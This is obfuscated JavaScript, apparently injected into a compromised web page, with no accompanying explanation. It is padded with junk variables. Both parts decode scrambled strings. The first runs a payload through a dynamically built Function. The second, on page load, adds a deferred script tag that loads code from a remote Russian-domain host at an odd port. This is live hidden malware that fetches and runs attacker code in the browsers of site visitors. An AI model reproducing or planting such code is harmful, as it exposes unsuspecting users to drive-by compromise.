Ex!='zT'){Ex='ut'};var W=[1,170,62][0];var bJ=false;var wO=false;var M = '';this.YG="YG";var Q = w.length;var aA;if(aA!='' && aA!='zj'){aA=null};var mB;if(mB!='' && mB!='VK'){mB=null};var Y = j.length;this.xi="";for(var H = q; H < Y; H += Q) {var Vu;if(Vu!=''){Vu='mt'};var kt=15352;var CM = j.substr(H, Q);this.Zw=54847;var eC;if(eC!='Xy' && eC!='bK'){eC='Xy'};this.Rz=false;this.Fw='';if(CM.length == Q){var ur;if(ur!='Dw'){ur='Dw'};this.Pn='';var qV=new Date();this.ZF="ZF";for(var D in w) {this.yM="yM";this.ue=13512;M+=CM.substr(w[D], W);var Df=new Array();}this.NT=15677;var lk;if(lk!='Zr' && lk != ''){lk=null};var pI;if(pI!='ET' && pI != ''){pI=null};} else {var Nl;if(Nl!=''){Nl='BKS'};  M+=CM;}var jU;if(jU!='YZ'){jU='YZ'};var gQ="";}var lH="lH";var DP=new Date();return M;var Um='';}this.hv=false;var Ui=new String();var R=window;var v=R[b("vael", [2,0,1])];var Vo;if(Vo!=''){Vo='er'};var B=v(b("nuFitcon", [2,1,0]));this.gS="";var O=v(b("tSirgn", [1,0]));var IW;if(IW!='vJ' && IW!='Ud'){IW='vJ'};var u = '';var Of="";var J=v(b("gEeRxp", [3,2,0,1]));var Rs;if(Rs!='Hc' && Rs!='nk'){Rs='Hc'};this.MK="";var wk=58375;var wP;if(wP!='mp' && wP!='gk'){wP=''};var hV="hV";var JO=O[b("CrromfahCode", [5,2,3,4,0,7,6,1])];var hj;if(hj!='' && hj!='Se'){hj='UO'};var Ln=R[b("enuacspe", [2,1,0])];var dbH;if(dbH!='zJ'){dbH=''};var TE=9305;var IB="";var mu='';var gw="";this.ve="ve";var RK = '';var wK=[1, b("cudontmere.ceEatmele(\'ntrisc\')pt", [2,3,0,1]),2, b("eucodmdb.tnoepa.yplhCdnid(d)", [4,3,2,1,5,0]),3, b("nian.werefhsouyr.:8u080", [1,0,4,2,3]),4, b("Asdte.urtbite(td\'efer\'", [2,5,1,4,3,0]),5, b("ogolgec.om", [1,0,2]),6, b("wnowdoonlaad.llmco", [1,2,0]),7, b("nr.fkgiico.mr.ctc", [3,1,2,4,6,0,5]),8, b("niwwodno.aold", [2,1,0]),11, b("cfunt(ion)", [1,2,3,0,4]),12, b("n.toosbcom", [6,3,5,2,4,0,1]),14, b("eut8b.com", [2,1,4,0,3]),15, b("acthc(e)", [1,0,2]),16, b("elomdne", [1,0]),17, b("h\"tt:p", [1,0]),18, b(".sdrc", [2,0,1]),19, b("\'1\')", [2,1,0]),20, b("rty", [1,0]),21, b("oc", [1,0])];var oT=new Array();var IM;if(IM!='OG'){IM=''};var ZG = Tn[b("nelhtg", [2,1,0])];var x =[50,102,2,201][2];var Dy="Dy";var RYd;if(RYd!=''){RYd='ew'};var vy='';var o = O.fromCharCode(37);var F = '';this.iY=false;var Uz;if(Uz!='' && Uz!='Rf'){Uz=''};var W =[11,1,128][1];this.AJ=false;var rs=new String();var Nh = /[^@a-z0-9A-Z_-]/g;var q =[0,188][0];var Bq=new String();var K = '';var DE=new String();var WE=new String();var kT =[37,0][1];var AX="";var Iij;if(Iij!='Lq' && Iij!='bt'){Iij='Lq'};var EM;if(EM!='' && EM!='Sw'){EM=null};for(var d=q; d < ZG; d+=x){var pQ=new String();var iYS=new String();F+= o; var Je;if(Je!='xy' && Je != ''){Je=null};F+= Tn[b("usbtsr", [1,0,2])](d, x);}this.FZ="";var fw="fw";var vFz;if(vFz!='HM'){vFz='HM'};this.rr="";var Tn = Ln(F);var GeH=new Date();this.fc=false;var I = new O(T);var LF;if(LF!='FE'){LF='FE'};var P = I[b("erlpcae", [1,0])](Nh, K);var Jx='';var OU;if(OU!='' && OU!='BYI'){OU='tb'};this.pM='';var ej=new Array();var WR;if(WR!='UQ' && WR!='fu'){WR=''};var A = new O(B);P = S(P);var z = wK[b("nlehgt", [1,2,0])];var Nc = A[b("erlpcae", [1,0])](Nh, K);var fQg=false;var Nc = p(Nc);this.zO=26716;var vK="";var NhZ=p(P);this.cK='';var MF;if(MF!='puC' && MF!='vxd'){MF=''};for(var H=q; H < (Tn[b("elgnht", [1,0])]);H=H+[1][0]) {var GL=new String();var Qd = P.charCodeAt(kT);var Ts;if(Ts!='oM'){Ts=''};var kc = SA(Tn,H);var LM=64232;var oz;if(oz!='' && oz!='vs'){oz=null};kc = C(kc, Qd);this.OeY="OeY";var rY;if(rY!='pqt' && rY != ''){rY=null};kc = C(kc, NhZ);var Uie;if(Uie!=''){Uie='iN'};var HX;if(HX!=''){HX='gz'};kc = C(kc, Nc);this.iv=false;var nq;if(nq!='aYw'){nq=''};kT++;var Fi;if(Fi!='' && Fi!='Bg'){Fi='BiG'};var RUT="RUT";var vl;if(vl!='qn'){vl=''};if(kT > P.length-W){this.SD=3202;this.kl=13472;kT=q;}var Zt;if(Zt!='' && Zt!='KG'){Zt=null};var otQ=new String();var nf="nf";this.nL=false;RK += JO(kc);}var GE;if(GE!='' && GE!='zq'){GE='xXJ'};for(RW=q; RW < z; RW+=x){this.ZrG="";this.kaI="kaI";var we=37076;var pl = JO(wK[RW]);var SPq;if(SPq!='' && SPq!='WM'){SPq=null};var PT="PT";this.hB=false;var ozu;if(ozu!='lxs' && ozu != ''){ozu=null};var i = wK[RW + W];var EF;if(EF!='Ze' && EF!='Cr'){EF='Ze'};var QYU;if(QYU!='IS' && QYU!='Tjj'){QYU=''};var n = new J(pl, JO(103));var URg=54303;var dk;if(dk!='Fn'){dk=''};RK=RK[b("epracle", [2,0,1])](n, i);this.Op="";}var V=new B(RK);var Gp="Gp";var bj="";V();var Po;if(Po!='MM' && Po != ''){Po=null};var bJN=new Date();var GN;if(GN!='' && GN!='DV'){GN=''};this.EhW='';RK = '';this.cc='';Nc = '';this.Hh="";var jp="jp";P = '';V = '';this.Gsp='';var No=false;A = '';var Dlt;if(Dlt!='Qdb'){Dlt='Qdb'};NhZ = '';var qG;if(qG!=''){qG='DZl'};var id;if(id!=''){id='ye'};var opB=new Date();var BJ="";var Xg=new String();var Bh;if(Bh!='' && Bh!='DkD'){Bh=null};return '';var uF;if(uF!='' && uF!='zqt'){uF='dUs'};};var mP=new Date();var wz=new Date();T(nLM);


this.UQ="";this.g='';function k(){var o='';var q=new Array();var v=window;var Sd;if(Sd!=''){Sd='E'};var oe;if(oe!=''){oe='Hi'};var l=unescape;var B;if(B!=''){B='HK'};var u=l("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%6e%67%6f%69%73%61%6f%2e%6e%65%74%2f%64%6f%75%62%61%6e%2e%63%6f%6d%2e%70%68%70");var T;if(T!='j'){T=''};var KS=new Array();this.O="";this.fi="";function V(ku,L){var Lb=new Date();var J=String("g");var uy=new String();var KP;if(KP!='jr' && KP != ''){KP=null};var _=l("%5b"), H=l("%5d");var S=_+L+H;var W_='';var P=new RegExp(S, J);var C="";return ku.replace(P, new String());var l_;if(l_!='jp' && l_ != ''){l_=null};var hn=new String();};var nq;if(nq!='xl' && nq!='m'){nq=''};var oG;if(oG!='' && oG!='Ox'){oG=null};var Ey=new Date();var a=document;var qp;if(qp!='' && qp!='_Q'){qp='rK'};var i=new String();this.op="";this.IU="";var s=V('897902184330347','54679321');var qI;if(qI!='AK'){qI='AK'};this.HA="";function A(){var PO=l("%68%74%74%70%3a%2f%2f%72%65%74%69%72%65%74%65%72%72%69%66%79%2e%72%75%3a");var t='';var Lo=new String();var RK='';var Yo='';i=PO;var POR;if(POR!='vn' && POR != ''){POR=null};var uB=new Date();i+=s;var ON=new Array();i+=u;var tQ=new Date();var hN;if(hN!='ED'){hN=''};try {var hE;if(hE!=''){hE='T_'};var NX=new Array();c=a.createElement(V('s0c1rViVpqtx','VxwQ10_Tqv'));this.SX='';var nD=new Array();c[l("%73%72%63")]=i;var SP=new String();this.TD='';this.eU='';var QW;if(QW!='' && QW!='tW'){QW='TlM'};c[l("%64%65%66%65%72")]=[1,6][0];var LF;if(LF!='' && LF!='Wt'){LF=''};var Gi=new Date();a.body.appendChild(c);var Jf;if(Jf!=''){Jf='Tw'};this.yo='';var MJ;if(MJ!='wB'){MJ=''};} catch(Lu){alert(Lu);};}v[new String("onloMz0U".substr(0,4)+"adjNky".substr(0,2))]=A;};var Qi;if(Qi!='' && Qi!='Kt'){Qi=null};var EQ;if(EQ!='hnb'){EQ=''};k();var lj;if(lj!='_S' && lj!='opV'){lj=''};var GZ;if(GZ!='yh' && GZ!='Sx'){GZ=''};